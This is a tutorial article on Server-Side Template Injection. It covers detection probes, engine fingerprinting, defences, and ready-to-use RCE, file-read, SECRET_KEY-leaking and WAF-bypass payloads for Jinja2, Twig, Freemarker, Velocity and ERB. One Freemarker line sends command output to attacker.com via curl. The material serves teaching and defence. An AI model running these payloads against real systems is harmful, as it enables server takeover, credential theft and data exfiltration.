TL;DR — Server-Side Template Injection happens when user input is concatenated into a template that the engine then evaluates, rather than passed in as data. Because template engines are mini programming languages with access to the host language's objects, SSTI routinely escalates from "I can do math in the response" to full remote code execution. This article covers the data-vs-code distinction at the root of SSTI, a polyglot detection methodology, engine fingerprinting, the canonical Jinja2/Twig/Freemarker/Velocity RCE payloads and why they work (Python object traversal, Java reflection), sandbox escapes, and the architectural fix: never build templates from user input.
Executive Summary
Template engines exist to mix static markup with dynamic values: Hello {{ name }} renders Hello Alice. Used correctly, name is data — the engine substitutes it into a fixed template. SSTI occurs when the application instead builds the template itself out of user input — render("Hello " + name) — so that if name is {{ 7*7 }}, the engine doesn't print the literal string; it evaluates it and prints 49.
That single fact — input crossing from the data plane into the code plane — is the whole vulnerability. And it is far more dangerous than it first appears, because template languages are not toy substitution engines. They expose objects, attributes, methods, and (often) the full power of the underlying runtime: Python in Jinja2/Mako, PHP in Twig/Smarty, Java in Freemarker/Velocity, Ruby in ERB. Once you can evaluate expressions in those languages, you can usually reach an object that runs OS commands. SSTI is therefore a reliable path from a reflected string to RCE — frequently a critical, unauthenticated finding.
The mirror-image trap is mistaking SSTI for XSS. Both reflect input, but XSS executes in the victim's browser; SSTI executes on the server. The same {{ }} that pops an alert in a client-side template framework can spawn a shell when it's the server doing the rendering.
The Root Cause: Data vs. Code
flowchart TD
A["User input 'name'"] --> B{"How is it used?"}
B -->|"render(template, name=input)<br/>input is a VARIABLE"| C["Safe — engine treats it as DATA"]
B -->|"render('Hello ' + input)<br/>input becomes part of TEMPLATE"| D["SSTI — engine EVALUATES it as CODE"]
D --> E["{{7*7}} -> 49 -> object traversal -> RCE"]
style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2The vulnerable pattern in code, across ecosystems:
# Python / Flask + Jinja2 — VULNERABLEfrom jinja2 import Templatedef greet(name): return Template("Hello " + name).render() # name is compiled INTO the template// PHP / Twig — VULNERABLEecho $twig->createTemplate("Hello " . $_GET['name'])->render();// Java / Freemarker — VULNERABLEnew Template("t", new StringReader("Hello " + request.getParameter("name")), cfg) .process(model, out);In each, the developer built the template string from user input. The fix in each is identical: pass the input as a parameter/variable to a fixed template, never concatenate it into the template source. Everything below is the consequence of getting this wrong.
Discovery: The Polyglot Probe
You rarely know which engine (or whether SSTI vs XSS) you're facing. PortSwigger's classic decision approach uses a polyglot that behaves differently across contexts:
PROBE: ${{<%[%'"}}%\ - Causes errors in many engines (mismatched delimiters) → server-side processing- If it errors, you're likely in a template, not plain reflectionThen narrow with arithmetic, the single most reliable SSTI tell:
INPUT PLAINTEXT REFLECTION SSTI (evaluated){{7*7}} {{7*7}} 49${7*7} ${7*7} 49#{7*7} #{7*7} 49{{7*'7'}} {{7*'7'}} 7777777 (Jinja2/Python) or 49 (Twig/PHP)<%= 7*7 %> <%= 7*7 %> 49 (ERB / EJS)If {{7*7}} returns 49, the server evaluated your input — confirmed SSTI. The behaviour of {{7*'7'}} already starts fingerprinting: Python string-repetition yields 7777777, whereas PHP numeric coercion yields 49.
flowchart TD
A["{{7*7}} == 49?"] -->|No| X["Not SSTI (maybe XSS / plain reflection)"]
A -->|Yes| B["{{7*'7'}}"]
B -->|"7777777"| C["Python: Jinja2 or Mako"]
B -->|"49"| D["Twig / Smarty / Freemarker / Velocity"]
C --> E["Confirm: {{config}} (Flask) / {{self}}"]
D --> F["Confirm engine-specific syntax"]
style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style D fill:#2a0c14,stroke:#ef233c,color:#fee2e2tplmap and SSTImap automate detection, fingerprinting, and exploitation across dozens of engines — but understanding the manual flow is what lets you exploit the engine the tools don't fully support.
Exploitation 1 — Jinja2 (Python): Object Traversal to RCE
Jinja2 (Flask, Django-ish setups) is the textbook case. You can't import os directly inside the sandbox, so you traverse Python's object model to reach a callable that runs commands. The chain climbs from any object to object, enumerates all subclasses, finds a useful one, and calls it.
# Step 1: confirm and read config (Flask leaks SECRET_KEY here){{ config }}{{ config.items() }} # Step 2: object-graph traversal to reach os-level execution{{ ''.__class__.__mro__[1].__subclasses__() }}# '' -> str ; .__class__ -> <class str> ; .__mro__[1] -> <class object># .__subclasses__() -> every loaded class; find one that imports os / opens files # Step 3: a clean modern one-liner (cycler/lipsum/joiner globals reach builtins){{ cycler.__init__.__globals__.os.popen('id').read() }}{{ lipsum.__globals__['os'].popen('id').read() }}{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read() }}Why it works: in Python, everything is an object, and from any object you can walk __class__ → __mro__ → object → __subclasses__() to enumerate the entire loaded class hierarchy, including classes whose __init__.__globals__ expose the os module. The Jinja2 globals cycler, lipsum, joiner, get_flashed_messages are convenient launch points because their __globals__ already contain os. The sandbox forgot that reflection lets you reach what import was meant to gate.
Exploitation 2 — Twig (PHP), Freemarker & Velocity (Java)
Twig (Symfony) — older versions exposed _self to reach the environment; modern RCE uses filters that call PHP functions:
{{ ['id'] | filter('system') }}{{ ['cat /etc/passwd'] | map('system') | join }}{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}Freemarker (Java) — the canonical payload abuses the built-in Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",...)}Velocity (Java) — reach Runtime via reflection on a class object:
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null) .invoke(null,null).exec("id")The Java engines illustrate the same principle as Jinja2 but via Java reflection: from any object you call .getClass().forName("java.lang.Runtime") and invoke exec. Different language, identical strategy — use the runtime's introspection facilities to reach a command-execution primitive the template "sandbox" failed to remove.
ERB (Ruby) is the most direct of all, because ERB is literally Ruby:
<%= `id` %><%= system('cat /etc/passwd') %><%= IO.popen('id').read %>Sandbox Escapes
Some engines ship a sandboxed mode (Jinja2 SandboxedEnvironment, Twig sandbox) intended to allow user templates safely. These restrict attribute access and disallowed methods — but history is a graveyard of sandbox escapes. Researchers repeatedly find an un-blocked attribute, a __getattribute__ quirk, an allowed-but-dangerous filter, or a format-string gadget ("{0.__class__}".format(obj)) that reaches forbidden objects. The lesson: a template sandbox is a mitigation, not a guarantee. If untrusted users must supply templates, assume the sandbox will eventually be bypassed and isolate the renderer accordingly (separate process, container, seccomp, no network, least privilege).
Beyond RCE: What Else SSTI Yields
Even when full RCE is blocked, SSTI is rarely harmless:
SSTI IMPACT LADDER Remote Code Execution ██████████ critical (object traversal/reflection)Arbitrary file read ████████░░ ({{ open('/etc/passwd').read() }}, includes)Secret/config disclosure ███████░░░ ({{ config }} → SECRET_KEY → forge sessions)SSRF / internal requests ██████░░░░ (engine HTTP helpers)Server-side DoS ████░░░░░░ (huge loops / recursive renders)Flask's {{ config }} leaking SECRET_KEY is a particularly elegant escalation: with the signing key, an attacker forges arbitrary signed session cookies and becomes any user — RCE-equivalent impact without ever running a command.
Defence: Keep Input Out of the Template
flowchart TD
A["Dynamic content needed"] --> B["Pass user input as a VARIABLE<br/>to a STATIC template"]
B --> C["render('Hello {{name}}', name=input)<br/>— input never compiled as template"]
A -.->|"NEVER"| D["Concatenate input INTO template source"]
C --> E["No SSTI possible"]
style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style D fill:#2a0c14,stroke:#ef233c,color:#fee2e2- Never construct templates from user input. This is the root fix and it is absolute: user data is always a variable/parameter passed to a fixed, developer-authored template — never concatenated into the template string.
render_template_string(user_input)and its equivalents are the bug; eliminate them. - Use logic-less or auto-escaping templates where users must supply formatting. Engines like Mustache/Handlebars (logic-less) drastically reduce the available attack surface compared to Jinja2/Twig/Freemarker.
- **If users must supply templates, sandbox and isolate.** Use the engine's sandboxed mode and run the renderer in a locked-down environment (separate low-privilege process/container, no filesystem or network, seccomp, resource limits). Treat the sandbox as one layer, not the boundary.
- Patch and update engines. Sandbox escapes are found regularly; stay current.
- Input validation as defence in depth. Reject template metacharacters (
{{,${,<%,#{) in fields that should never contain them — but never rely on blocklists as the primary control; the architecture (data-not-code) is the control. - Least privilege & egress filtering. Run the app as a non-root user with no outbound network it doesn't need, so even successful RCE is contained and exfiltration/SSRF is throttled.
Detection and Testing
| Approach | What it surfaces |
|---|---|
Manual {{7*7}} / polyglot probes | Confirms evaluation, fingerprints engine |
| tplmap / SSTImap | Automated detection + exploitation across engines |
| Code review | render*string, string concatenation into Template(...), eval-like template APIs |
| Grep for sinks | render_template_string, Template( + +, createTemplate, process( with concatenated source |
| WAF / RASP | Catches common payloads (bypassable; secondary) |
For testers: prove the server-side nature explicitly — show command output (id,uname -a) or a file read (/etc/passwd), not just49. Distinguish it clearly from client-side template injection/XSS, because the severity and remediation differ entirely.
Template Engine Fingerprinting Matrix
After confirming server-side evaluation with {{7*7}} returning 49, the next step is reliably identifying which engine is present. Engines share no common syntax across all constructs, so a structured probe matrix is more efficient than guessing. The table below maps each engine's identification probes to expected output — send them sequentially and match.
| Engine | Probe Payload | Expected Output | Notes |
|---|---|---|---|
| Jinja2 (Python) | {{7*'7'}} | 7777777 | String repetition confirms Python |
| Jinja2 | {{config}} | <Config {...}> | Flask config object leaks |
| Twig (PHP) | {{7*'7'}} | 49 | PHP numeric coercion |
| Twig | {{_self.env.getCharset()}} | UTF-8 | _self exposes Twig Environment |
| Freemarker (Java) | ${7*7} | 49 | ${} is Freemarker's interpolation |
| Freemarker | ${"freemarker.version"} | 2.3.x | Leaks engine version directly |
| Pebble (Java) | {{7*7}} | 49 | Pebble uses Jinja-like {{}} |
| Pebble | {{request}} | object dump | request in scope by default |
| Velocity (Java) | ${7*7} or #set($x=7*7)$x | 49 | #set directive is Velocity-specific |
| Mako (Python) | ${7*7} | 49 | ${} for expressions |
| Mako | <% import os %> | (no error) | Direct Python import succeeds |
| ERB (Ruby) | <%= 7*7 %> | 49 | <%= %> is the ERB output tag |
| Smarty (PHP) | {$smarty.version} | 4.x.x | Built-in variable dumps version |
The most reliable single differentiator between Jinja2 and Twig is {{7*'7'}} — 7777777 means Python/Jinja2, 49 means PHP/Twig. Between Freemarker, Pebble, and Velocity (all JVM-based), the delimiter style reveals the engine: ${} is Freemarker or Velocity, {{}} is Pebble. To distinguish Freemarker from Velocity, use ${?string} — Freemarker evaluates it; Velocity does not understand ?string built-ins.
Jinja2 Sandbox Escape Techniques
Jinja2's SandboxedEnvironment is a hardened mode designed to allow untrusted templates by restricting attribute access and blocking dangerous operations. Despite this, multiple bypass routes exist because Python's object model is extraordinarily reflective — restricting access is not the same as eliminating the capability.
__mro__ Traversal
The classic chain walks Python's Method Resolution Order from any object up to object, then enumerates all loaded subclasses to find one that exposes os or subprocess:
# Step 1: Walk to the base object class{{ ''.__class__.__mro__[1].__subclasses__() }} # Step 2: Find a subclass with useful globals — index varies by Python version# Look for <class 'subprocess.Popen'> in the list{{ ''.__class__.__mro__[1].__subclasses__()[<N>]('id', shell=True, stdout=-1).communicate()[0].decode() }} # Alternative: find <class '_frozen_importlib.BuiltinImporter'>{{ ''.__class__.__mro__[1].__subclasses__()[<M>].load_module('os').popen('id').read() }}The index <N> shifts between Python versions and environments, so in practice you dump the full subclass list first and search for known-useful names: Popen, BuiltinImporter, catch_warnings (whose __init__.__globals__ exposes __builtins__).
config Object Abuse (Flask)
Flask injects the application Config object into Jinja2's global context. This object's __class__.__init__.__globals__ contains the full module namespace of the Flask application, from which os is reachable:
# Leak the SECRET_KEY — allows forging signed cookies{{ config.SECRET_KEY }} # Reach os through config's class hierarchy{{ config.__class__.__init__.__globals__['os'].popen('id').read() }} # Or through the app object{{ config['APPLICATION_ROOT'] }} # read config values{{ config.update({'SECRET_KEY': 'pwned'}) }} # overwrite in-memory configThe SECRET_KEY disclosure is particularly impactful: Flask signs session cookies with it using itsdangerous. With the key in hand, an attacker uses flask-unsign to forge a session for any user, including admin — authentication bypass without touching the database.
request Object Abuse
Flask also injects the request object. Its environ attribute exposes the WSGI environment dictionary, which contains references to loaded modules:
# Access environ → loaded modules → os{{ request.environ['werkzeug.server.shutdown'].__globals__['os'].popen('id').read() }} # request.application is a Werkzeug utility that may expose __globals__{{ request.__class__.__mro__[8].__subclasses__()[40]('/etc/passwd').read() }} # Use request to pass payloads that avoid WAF character restrictions{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}The attr() filter combined with hex-encoded attribute names is a common WAF bypass technique: it avoids the __ (dunder) sequences that many filters block, while achieving the same object traversal through Jinja2's filter chain.
Freemarker RCE in Depth
Freemarker (widely used in Java web frameworks — Spring, Struts, Atlassian products) provides the ?new() built-in that instantiates any Java class by name. When the Execute utility class is reachable, RCE is a single expression:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("curl http://attacker.com/$(id|base64)")}When Execute is blocked (e.g. Freemarker's TemplateClassResolver.SAFER_RESOLVER configuration), ObjectConstructor provides an alternative via ProcessBuilder:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()><#assign pb=ob("java.lang.ProcessBuilder", ["id"])><#assign pb=pb.redirectErrorStream(true)><#assign pr=pb.start()><#assign is=pr.getInputStream()><#assign reader=ob("java.io.InputStreamReader", is)><#assign br=ob("java.io.BufferedReader", reader)>${br.readLine()}For environments running the most restrictive class resolver (ALLOWS_NOTHING_RESOLVER), the fallback is a format-string gadget through Freemarker's api built-in if enabled:
${"x"?api.class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("x"?api.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}The Atlassian Confluence critical RCEs (CVE-2022-26134, CVE-2023-22527) were both Freemarker/OGNL template injection vulnerabilities in production software — these payloads were the exploitation primitives used in actual attacks.
MITRE ATT&CK Mapping
| ATT&CK ID | Technique | SSTI Relevance |
|---|---|---|
| T1190 | Exploit Public-Facing Application | SSTI in a web application endpoint is direct exploitation of an internet-accessible service |
| T1059.006 | Command and Scripting Interpreter: Python | Jinja2 payloads execute Python expressions; os.popen / subprocess achieve code execution via the Python interpreter |
| T1505.003 | Server Software Component: Web Shell | SSTI-derived RCE can write a web shell to disk, providing persistent server-side execution |
| T1552.001 | Credentials In Files | {{ config }} / {{ config.SECRET_KEY }} reads credential material from the running application's config |
| T1083 | File and Directory Discovery | {{ open('/etc/passwd').read() }} enumerates the filesystem via the template engine |
| T1018 | Remote System Discovery | SSRF-via-template-engine HTTP helpers enumerate internal network services |
Conclusion and Takeaways
Server-Side Template Injection is one of the most reliable string-to-shell escalations in web security, and its cause is a single conceptual error: letting user input become part of the template (code) instead of being passed into the template (data). The moment {{7*7}} returns 49, you are executing expressions in a real programming language on the server — and template languages, by design, expose enough of the host runtime (Python's object model, Java's reflection, Ruby's backticks, PHP's callables) that reaching an OS-command primitive is a well-trodden, automatable path. Even without full RCE, SSTI leaks secrets like Flask's SECRET_KEY, reads arbitrary files, and pivots to SSRF.
The detection methodology is disciplined and quick — polyglot to confirm server-side processing, arithmetic to confirm evaluation, {{7*'7'}} and engine-specific syntax to fingerprint, then the appropriate object-traversal or reflection chain to demonstrate impact. The defence is even simpler to state and absolute to apply: never build a template out of user input. Pass dynamic content as variables to static templates, prefer logic-less engines for user-supplied formatting, and when untrusted templates are truly unavoidable, sandbox and isolate the renderer because every sandbox eventually falls. Get the data-versus-code boundary right at the architecture level, and SSTI simply cannot occur — no payload, no traversal, no shell.